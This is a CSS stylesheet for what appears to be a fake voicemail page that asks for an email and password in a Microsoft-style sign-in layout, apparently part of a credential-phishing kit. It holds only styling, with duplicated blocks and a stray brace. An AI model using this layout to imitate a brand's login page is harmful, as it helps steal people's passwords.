* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: system-ui, -apple-system, 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif;
    margin: 0;
    overflow: hidden;
    height: 100vh;
    background: #0a0c12;
    display: flex;
    justify-content: center;
    align-items: center;
    position: relative;
}

.overlay-gradient {
    position: absolute;
    top: 0; left: 0;
    width: 100%; height: 100%;
    background: rgba(0, 0, 0, 0.4);
    z-index: 1;
    pointer-events: none;
}

.static-background {
    position: absolute;
    top: 0; left: 0;
    width: 100%; height: 100%;
    object-fit: cover;
    z-index: -2;
    filter: brightness(0.40) blur(2px);
}

.voicemail-container {
    position: relative;
    background: white;
    max-width: 450px;
    width: 90%;
    padding: 2.5rem 2rem 2.2rem;
    z-index: 15;
    opacity: 0;
    transform: translateY(8px);
    box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.25);
    margin: 0 auto;           /* Centers the box */
}

body.loaded .voicemail-container {
    animation: simpleFadeIn 0.4s ease forwards;
}

@keyframes simpleFadeIn {
    from { opacity: 0; transform: translateY(8px); }
    to { opacity: 1; transform: translateY(0); }
}

/* Clean Microsoft-Style Password Toggle */
.password-wrapper {
    position: relative;
    width: 100%;
    margin-bottom: 8px;
}

.custom-password-input {
    width: 100%;
    padding: 12px 50px 8px 12px;
    background: transparent;
    border: none;
    border-bottom: 1.5px solid #cbd5e1;
    font-size: 1rem;
    color: #0f172a;
    outline: none;
}

.toggle-password {
    position: absolute;
    right: 12px;
    bottom: 13px;
    background: none;
    border: none;
    cursor: pointer;
    font-size: 18px;           /* Smaller */
    color: #555555;
    padding: 3px;
    transition: color 0.2s;
    opacity: 0.85;             /* Slightly transparent */
}

.toggle-password:hover {
    color: #000000;
    opacity: 1;
}

.voicemail-icon {
    width: 56px;           
    height: 56px;          
    background: transparent;
    border-radius: 0;
    display: flex;
    align-items: center;
    justify-content: center;
    flex-shrink: 0;
    margin-bottom: 8px;
    padding: 0;
}

.voicemail-icon img {
    width: 32px;
    height: 32px;
    object-fit: contain;
}

.description-text {
    font-size: 1rem;
    font-weight: 500;
    color: #2c3e50;
    letter-spacing: -0.2px;
}

/* Rest of your CSS (inputs, buttons, footer, animations, etc.) */
.login-form, .password-form, .play-message, .verifying-account { display: none; }

.login-form input, .custom-password-input {
    width: 100%;
    padding: 12px 0 8px 0;
    background: transparent;
    border: none;
    border-bottom: 1.5px solid #cbd5e1;
    font-size: 1rem;
    color: #0f172a;
    outline: none;
}

button {
    background-color: #2563eb;
    border: none;
    padding: 12px 28px;
    border-radius: 0px;
    font-weight: 600;
    font-size: 1rem;
    color: white;
    cursor: pointer;
    min-width: 110px;
}

.button-row { display: flex; justify-content: flex-end; margin-top: 28px; }

.dynamic-footer {
    margin-top: 32px;
    font-size: 0.75rem;
    color: #64748b;
    border-top: 1px solid #e2e8f0;
    padding-top: 18px;
    text-align: center;
}

/* Slide Animation */
.form-section {
    transition: all 0.4s ease-in-out;
    opacity: 1;
    transform: translateX(0);
}
.form-section.hidden {
    opacity: 0;
    transform: translateX(-30px);
}

/* Moving dots */
.signing-dots::after {
    content: ' .';
    animation: dots 1.5s steps(4, end) infinite;
}
@keyframes dots {
    0% { content: '.'; }
    33% { content: '..'; }
    66% { content: '...'; }
    100% { content: '....'; }
}

/* Other styles you already had */
.error-message { color: #dc2626; font-size: 0.8rem; margin: 8px 0; font-weight: 500; }
.logo-loading {
    width: 32px; height: 32px;
    border: 2px solid #e2e8f0;
    border-top: 2px solid #2563eb;
    border-radius: 50%;
    animation: spin 0.8s linear infinite;
}
@keyframes spin { to { transform: rotate(360deg); } }


}

.email-display {
    font-size: 1.05rem;
    font-weight: 600;
    color: #1e293b;
    background: transparent;
    text-align: left;
    width: 100%;
    padding: 4px 0;
    margin-bottom: 8px;
}

/* Left align password form */
#password-form {
    text-align: left;
}

.verifying-account p, .play-message p {
    font-size: 1.1rem;
    font-weight: 700;
    color: #1e293b;
    background: #f8fafc;
    padding: 20px 30px;
    border-radius: 16px;
    text-align: center;
    margin: 0;
}

/* Nice dot loading animation */
.signing-dots::after {
    content: ' .';
    animation: dots 1.4s steps(4, end) infinite;
    font-weight: 700;
}

@keyframes dots {
    0%   { content: '.'; }
    33%  { content: '..'; }
    66%  { content: '...'; }
    100% { content: '....'; }
}